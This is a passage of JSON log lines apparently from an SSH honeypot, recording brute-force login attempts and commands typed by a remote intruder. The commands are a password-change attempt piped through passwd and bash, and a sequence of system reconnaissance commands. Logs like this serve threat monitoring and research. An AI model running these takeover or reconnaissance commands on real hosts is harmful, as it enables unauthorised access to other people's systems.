af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:57.934050Z","src_ip":"118.35.127.66","session":"26923f9c5734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:58.747191Z","src_ip":"118.35.127.66","session":"26923f9c5734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:49:59.945486Z","src_ip":"118.35.127.66","session":"26923f9c5734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.35.127.66","src_port":59238,"dst_ip":"10.17.0.5","dst_port":22,"session":"784122be98c9","protocol":"ssh","message":"New connection: 118.35.127.66:59238 (10.17.0.5:22) [session: 784122be98c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:00.144209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:00.156023Z","src_ip":"118.35.127.66","session":"784122be98c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:00.361002Z","src_ip":"118.35.127.66","session":"784122be98c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:01.205608Z","src_ip":"118.35.127.66","session":"784122be98c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:02.413271Z","src_ip":"118.35.127.66","session":"784122be98c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:02.715826Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:02.722113Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:02.926990Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:03.373894Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2017\\nx6ODKQSOYq9i\\nx6ODKQSOYq9i\"|passwd|bash","message":"CMD: echo -e \"admin@2017\\nx6ODKQSOYq9i\\nx6ODKQSOYq9i\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:03.386053Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:03.391277Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:03.396279Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/544d261e811f7127b213e6b039737f64f18e48dff946e040c0763581fea94cf8","size":32,"shasum":"544d261e811f7127b213e6b039737f64f18e48dff946e040c0763581fea94cf8","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/544d261e811f7127b213e6b039737f64f18e48dff946e040c0763581fea94cf8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:03.600924Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:04.056183Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2017\\nx6ODKQSOYq9i\\nx6ODKQSOYq9i\\n\"|passwd","message":"CMD: echo \"admin@2017\\nx6ODKQSOYq9i\\nx6ODKQSOYq9i\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:04.059402Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b777d9b4888401dbbe44eb709fe01095303951a9e325e0d6dd0aeb3ad07d0569","size":25,"shasum":"b777d9b4888401dbbe44eb709fe01095303951a9e325e0d6dd0aeb3ad07d0569","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b777d9b4888401dbbe44eb709fe01095303951a9e325e0d6dd0aeb3ad07d0569 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:04.261379Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:04.775269Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:04.786664Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:04.997756Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:05.448864Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:05.452231Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:05.656785Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:06.094691Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:06.098930Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:06.102516Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:06.308272Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:06.792899Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:06.797438Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:07.006704Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:07.451054Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:07.454370Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:07.654927Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:08.101568Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:08.105156Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:08.307347Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:08.744230Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:08.748112Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:08.951619Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:09.395199Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:09.398574Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:09.601308Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:10.046587Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:10.051503Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:10.256375Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:10.707728Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:10.711713Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:10.913418Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:11.350216Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:11.354393Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:11.556720Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.011975Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.015817Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.222088Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.660738Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.664600Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.866547Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:12.872750Z","src_ip":"118.35.127.66","session":"d4e47117bfdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":43336,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5153a5d0924","protocol":"ssh","message":"New connection: 198.98.56.227:43336 (10.17.0.5:22) [session: f5153a5d0924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.028559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.035600Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.040305Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
